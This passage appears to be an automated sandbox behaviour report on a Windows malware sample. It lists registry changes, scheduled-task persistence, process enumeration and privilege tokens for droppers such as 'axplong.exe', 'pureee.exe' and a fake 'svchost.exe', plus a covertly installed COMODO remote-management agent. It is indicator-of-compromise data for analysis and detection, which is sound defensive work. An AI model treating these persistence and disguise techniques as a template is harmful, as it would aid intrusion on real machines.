Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\syswow64\MsiExec.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption" C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\26\52C64B7E C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26 C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates\40CEF3046C916ED7AE557F60E76842828B51DE53\Blob = 03000000010000001400000040cef3046c916ed7ae557f60e76842828b51de5314000000010000001400000017d9d6252767f931c24943d93036448c6ca94feb040000000100000010000000886ea78b530e0fd5bda4e12527ab6a2c0f00000001000000300000005d2164164eb6f3820b9b8d7a5601b60ebf70d832d2029c6c3c966db107dfcb1ba12a25700f26ca3d5b36e4a6cb576cfa19000000010000001000000092a08f142bb795a2197a0d3c7af066f55c000000010000000400000000080000180000000100000010000000ea6089055218053dd01e37e1d806eedf20000000010000001d0600003082061930820401a0030201020210137d539caa7c31a9a433701968847a8d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3138313130323030303030305a170d3330313233313233353935395a308195310b3009060355040613024742311b30190603550408131247726561746572204d616e636865737465723110300e0603550407130753616c666f726431183016060355040a130f5365637469676f204c696d69746564313d303b060355040313345365637469676f20525341204f7267616e697a6174696f6e2056616c69646174696f6e205365637572652053657276657220434130820122300d06092a864886f70d01010105000382010f003082010a02820101009c930246454a524892fc578df92dea53beb32cd5d8a8a5ec5b6903c01d10f65933defe0748a8e88c7a674af1f58dc33766d03291f7c49d0460c4b54ae2838ba7ae26d45d3a5ef8d11671bb8abd71a27dc8cea26024b052a03a4551de78936c6260f1e4569cb73bf73c55d8dfd57a317c357f125170e12cbe04accbfa4fe17c656ac040a7d97ca5638419e1f7caefaab4e8585ad999e326df8e12b2b8dc33b236da141d965842406e0b22851c5122aec4c806456d92e667b71923e4d8366b85d07fc752e3cfb07501e089b4a8bf8a364ea3e06ceb8441cea52f482213975062451e09a5cc9f6c57704006db20e81bd6f3938ba7329eb7441509d7affd7c011cdb0203010001a382016e3082016a301f0603551d230418301680145379bf5aaa2b4acf5480e1d89bc09df2b20366cb301d0603551d0e0416041417d9d6252767f931c24943d93036448c6ca94feb300e0603551d0f0101ff04040302018630120603551d130101ff040830060101ff020100301d0603551d250416301406082b0601050507030106082b06010505070302301b0603551d200414301230060604551d20003008060667810c01020230500603551d1f044930473045a043a041863f687474703a2f2f63726c2e7573657274727573742e636f6d2f55534552547275737452534143657274696669636174696f6e417574686f726974792e63726c307606082b06010505070101046a3068303f06082b060105050730028633687474703a2f2f6372742e7573657274727573742e636f6d2f555345525472757374525341416464547275737443412e637274302506082b060105050730018619687474703a2f2f6f6373702e7573657274727573742e636f6d300d06092a864886f70d01010c050003820201004e134096c9c3e66e5bc0e3baf417e1ae091fc9bfcb0c2516f27353b3761ab7ab4806d6cd007c204543456c165a1b1361d749baa402a4ace8cece2dc92a74a3dcdeaeabd06836f891af3c01f777d50bcf97abeb87e715a8fa305a617120b1c043c4b98f6d8a31eb153624fb62d50b9c8fe966bde661519793b61d87bdb0b56cfea6112906613431303d20277351d0de8583d37739204696daa7c65a162785b2cf4e0f4e8c5cbebe3800f84bf9727bd4f27ad7a22985d004bad3422c5188522ed13d246747ec55cc1bf4ca34ea26c1deddc42189f6ba7b321e8e965e844538cf80aa37698b6017741548919c6df04ea377ca1b1c48faf9cf49e85f4f850ae28f901bab704c9aebb7a63fb4ac5da45fcfe6d88a9690f74f268160765d0f247791b32a319f165ab25d8c1c29aa489c8e6fd3784070db77ecdde3d15705702de64998880584620570567686394ed3226f1dfe6df10eb362c43ccbc085b9611ebae1158059940cae05bb8c7f56be1cd25abf97f26a4cb0c67076b0908dc10b36b911d8d6285cea4ffe24b7180a9b0cd0c17c5cfb69bdcca24dc690bca64df2b1bad69a675b960252d082f9c40a5c0d28e03fc8fa959589d5a4be496c40b23ea86bb8d525b2c4fef1d3d7e7d6dc43017630fb3b8b5df74a897c9a35befccaf05701f08d3fa087327b475a974b82d266c2c42dea3f24f4a7f9a8b9e36ad91861a03b8c15 C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@%SystemRoot%\system32\dnsapi.dll,-103 = "Domain Name System (DNS) Server Trust" C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates\40CEF3046C916ED7AE557F60E76842828B51DE53 C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\07EFF3737FF5D2942A4FC0A6518D5D30 C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Roaming\\DirectX11\\" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\Media C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\Software\Classes\CDM C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30 C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\Assignment = "1" C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\AdvertiseFlags = "388" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\ProductIcon = "C:\\Windows\\Installer\\{373FFE70-5FF7-492D-A2F4-0C6A15D8D503}\\icon.ico" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\Net C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Roaming\\DirectX11\\" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\ProductName = "Endpoint Manager Communication Client" C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\InstanceType = "0" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\PackageName = "em_TaWHWZA1_installer_Win7-Win11_x86_x64.msi.msi" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CDM\proxy = "false" C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\PackageCode = "D7076E96D3235814DB26ACC95D2BAD84" C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\Version = "151109272" C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\DeploymentFlags = "3" C:\Windows\system32\msiexec.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\Clients = 3a0000000000 C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3774859476-2260090144-3466365324-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\dropperrr.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DD4D523EF099D7E42B1DBDFD40CF9061\07EFF3737FF5D2942A4FC0A6518D5D30 C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DD4D523EF099D7E42B1DBDFD40CF9061 C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\SourceList\Media\1 = ";" C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\AuthorizedLUAApp = "0" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\07EFF3737FF5D2942A4FC0A6518D5D30\DefaultFeature C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\07EFF3737FF5D2942A4FC0A6518D5D30\Language = "0" C:\Windows\system32\msiexec.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\a840bdaefb80641123d7ca786ebace65769da70f45e18bd3f0c7ef7b2ffcabdd.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Windows\system32\msiexec.exe N/A
N/A N/A C:\Windows\system32\msiexec.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\adada.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\pureee.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeCreateTokenPrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeMachineAccountPrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeTcbPrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeCreatePermanentPrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeChangeNotifyPrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeSyncAgentPrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeEnableDelegationPrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeImpersonatePrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeCreateGlobalPrivilege N/A C:\Windows\System32\msiexec.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
